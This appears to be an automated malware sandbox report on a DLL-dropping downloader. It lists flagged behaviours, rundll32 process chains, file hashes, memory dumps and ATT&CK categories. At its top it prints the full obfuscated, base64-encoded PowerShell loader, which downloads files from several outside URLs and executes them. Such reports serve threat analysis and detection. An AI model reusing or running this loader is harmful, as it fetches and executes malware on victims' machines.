ASgApACgAMwAnACsAJwBzACcAKwAnADIAJwApACkAKwAoACgAJwApACgASgAnACsAJwApACcAKQApACsAKAAnACgAJwArACcAMwBzADIAKQAnACkAKwAnACgAJwArACcAZgAnACsAJwByAGkAJwArACgAKAAnAGUAJwArACcAbgAnACsAJwBkAHMAbwBmAGMAaAByAGkAcwB0ADEAMAAuAGMAbwAnACsAJwBtAEoAKQAoACcAKwAnADMAcwAyACkAJwApACkAKwAnACgAJwArACgAJwBzACcAKwAnAHQAcgAnACkAKwAoACcAZQBhAG0AbAAnACsAJwBhAGIAcwAtACcAKwAnAG8AJwArACcAYgAnACkAKwAnAHMAJwArACcALQByACcAKwAoACcAYQAnACsAJwByAHMAbwBKACcAKQArACcAKQAnACsAKAAoACcAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwArACcAKAAnACsAJwBTAEkARwBOAFUAUAAnACkAKQArACgAKAAnAEoAKQAoADMAJwArACcAcwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnAEAAaAAnACkAKQArACcAdAAnACsAKAAoACcAdAAnACsAJwBwADoASgAnACsAJwApACgAMwBzADIAJwApACkAKwAoACgAJwApACgAJwArACcASgApACgAMwBzACcAKQApACsAKAAoACcAMgApACgAZwB1ACcAKwAnAG8AagAnACsAJwBpAGEAJwApACkAKwAoACcAegB1ACcAKwAnAGkALgBjAG8AbQBKACcAKQArACgAKAAnACkAKAAzACcAKwAnAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAJwArACcAKAAnACsAJwBiAEoAKQAoACcAKQApACsAKAAoACcAMwBzADIAKQAoAHkAJwArACcAMABRAG4AbgBXACcAKwAnAGIAawBKACcAKwAnACkAKAAnACkAKQArACgAKAAnADMAcwAyACcAKwAnACkAKABAAGgAJwApACkAKwAnAHQAJwArACgAKAAnAHQAcAA6AEoAKQAnACsAJwAoACcAKwAnADMAcwAyACcAKQApACsAKAAoACcAKQAoACcAKwAnAEoAKQAnACsAJwAoADMAJwArACcAcwAyACkAKABmAGkAJwApACkAKwAoACcALgAnACsAJwBiAG8AbgBpACcAKwAnAHQAYQBzACcAKQArACcAdABvACcAKwAoACcAcgBlAHMAJwArACcALgAnACkAKwAoACgAJwBjAG8AbQBKACcAKwAnACkAJwArACcAKAAnACsAJwAzAHMAJwArACcAMgApACgAbgBKACkAKAAzAHMAMgAnACsAJwApACgAJwArACcAVwAnACkAKQArACgAJwBVAEcAJwArACcAbwBaAEoAJwApACsAKAAoACcAKQAoADMAJwArACcAcwAyACkAJwArACcAKABAACcAKQApACsAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAoACgAJwA6AEoAJwArACcAKQAoACcAKQApACsAKAAoACcAMwAnACsAJwBzADIAKQAoAEoAJwApACkAKwAoACgAJwApACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACcAKwAnACgAaQBvAGcAJwApACkAKwAoACcALgAnACsAJwBjAG8AbQAuACcAKQArACcAYwBuACcAKwAoACgAJwBKACkAJwArACcAKAAzAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKABjAHMAJwArACcAcwBKACkAJwArACcAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAnACkAJwArACgAKAAnACgAUwAnACkAKQArACgAKAAnAHkAcwBKACcAKwAnACkAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAoACgAJwApACgAJwApACkAKQApAC4AIgByAGUAYABQAGwAYQBgAGMARQAiACgAKAAoACgAKAAnAEoAKQAoACcAKwAnADMAJwApACkAKwAoACgAJwBzADIAJwArACcAKQAoACcAKQApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAB3ACcAKwAnAGUAJwApACkAWwAwAF0AKQAuACIAUwBgAHAAbABpAFQAIgAoACQAVwBxAGMAZQBwAHYAcgAgACsAIAAkAE0AcwB3AGgAZAB1AGsAIAArACAAJABPAG8AbQAzAHcAYgA5ACkAOwAkAEMAcQByADcAXwBfADMAPQAoACcAVQAnACsAKAAnAHUAJwArACcAZwB3AHkAJwApACsAJwB5AHQAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABOAHgAZAAwAGIAaQBtACAAaQBuACAAJABSADkAaAA0AHoAeQBvACAAfAAgAHMAbwBSAGAAVAAtAGAATwBgAEIAagBlAGAAQwB0ACAAewBHAEUAdAAtAGAAUgBhAGAATgBgAEQAbwBNAH0AKQB7AHQAcgB5AHsAJABKADYAcwByADgAMABpAC4AIgBkAG8AdwBuAGwAbwBgAEEAYABEAGYASQBgAGwAZQAiACgAJABOAHgAZAAwAGIAaQBtACwAIAAkAEgANABrADcANwBnAHoAKQA7ACQAQQB2AHYAMABpADAAbwA9ACgAJwBYACcAKwAnAHIAagAnACsAKAAnADEAJwArACcAZAB2ADEAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQASAA0AGsANwA3AGcAegApAC4AIgBsAGUAYABOAGcAdABIACIAIAAtAGcAZQAgADMAMwA0ADQAMgApACAAewAuACgAJwByAHUAbgBkACcAKwAnAGwAJwArACcAbAAzADIAJwApACAAJABIADQAawA3ADcAZwB6ACwAJwAjADEAJwAuACIAVABPAHMAYABUAHIAaQBgAE4ARwAiACgAKQA7ACQASwB2AGoANgB5ADMAOAA9ACgAJwBBACcAKwAoACcAbQA2AG8AJwArACcANgAnACkAKwAnAHMANwAnACkAOwBiAHIAZQBhAGsAOwAkAEUAMgBhAHIAXwB1AGYAPQAoACcATgAwACcAKwAoACcAcwAxACcAKwAnAGMAMABoACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBADgAagBjAGsAbABuAD0AKAAnAFIAJwArACgAJwBrACcAKwAnAGgAdwAnACkAKwAoACcAdAAnACsAJwB1AGIAJwApACkA

Blocklisted process makes network request
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory

PID:2588

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Users\Admin\K06ya08\N4gdznc\I5nylujk_.dll,#1

Suspicious use of WriteProcessMemory

PID:2452

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Users\Admin\K06ya08\N4gdznc\I5nylujk_.dll,#1

Loads dropped DLL
Drops file in System32 directory
Suspicious use of WriteProcessMemory

PID:3408

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mswl\vlhucm.qmj",RunDLL

Blocklisted process makes network request
Suspicious behavior: EnumeratesProcesses

PID:1732

Network

MITRE ATT&CK Matrix

Collection

Command and Control

Credential Access

Defense Evasion

Discovery

Execution

Exfiltration

Impact

Initial Access

Lateral Movement

Persistence

Privilege Escalation

Replay Monitor

00:00 00:00

Downloads

C:\Users\Admin\K06ya08\N4gdznc\I5nylujk_.dll
MD5
be5b46ed5954e3ed03ed83410aa9e258

SHA1
085af2c5be3283d2c8faf85e0bdff34084f66335

SHA256
6b5df4d6de3efe2b8e876860170831408512ac31f8e958cc2190f5d10e061570

SHA512
fb4077df9fa5d32e59f44a71f56620c99bc966037ccde26ae284ce2ed4d59a2d2ecd25dc96bf309aea0cd1aefcf957e2e32418d50ac40cbb8bf656e44c8b3f08

Download Submit
\Users\Admin\K06ya08\N4gdznc\I5nylujk_.dll
MD5
be5b46ed5954e3ed03ed83410aa9e258

SHA1
085af2c5be3283d2c8faf85e0bdff34084f66335

SHA256
6b5df4d6de3efe2b8e876860170831408512ac31f8e958cc2190f5d10e061570

SHA512
fb4077df9fa5d32e59f44a71f56620c99bc966037ccde26ae284ce2ed4d59a2d2ecd25dc96bf309aea0cd1aefcf957e2e32418d50ac40cbb8bf656e44c8b3f08

Download Submit
memory/984-2-0x000001DC5C3B0000-0x000001DC5C9E7000-memory.dmp

Download
memory/1732-13-0x0000000000000000-mapping.dmp

Download
memory/1732-14-0x0000000004A30000-0x0000000004A50000-memory.dmp

Download
memory/2452-8-0x0000000000000000-mapping.dmp

Download
memory/2588-4-0x0000000000000000-mapping.dmp

Download
memory/2588-5-0x00007FF8FF8A0000-0x00007FF90028C000-memory.dmp

Download
memory/2588-6-0x0000028A6D330000-0x0000028A6D331000-memory.dmp

Download
memory/2588-7-0x0000028A6D4E0000-0x0000028A6D4E1000-memory.dmp

Download
memory/3408-3-0x0000000000000000-mapping.dmp

Download
memory/3408-10-0x0000000000000000-mapping.dmp

Download
memory/3408-12-0x0000000000C90000-0x0000000000CB0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Downloads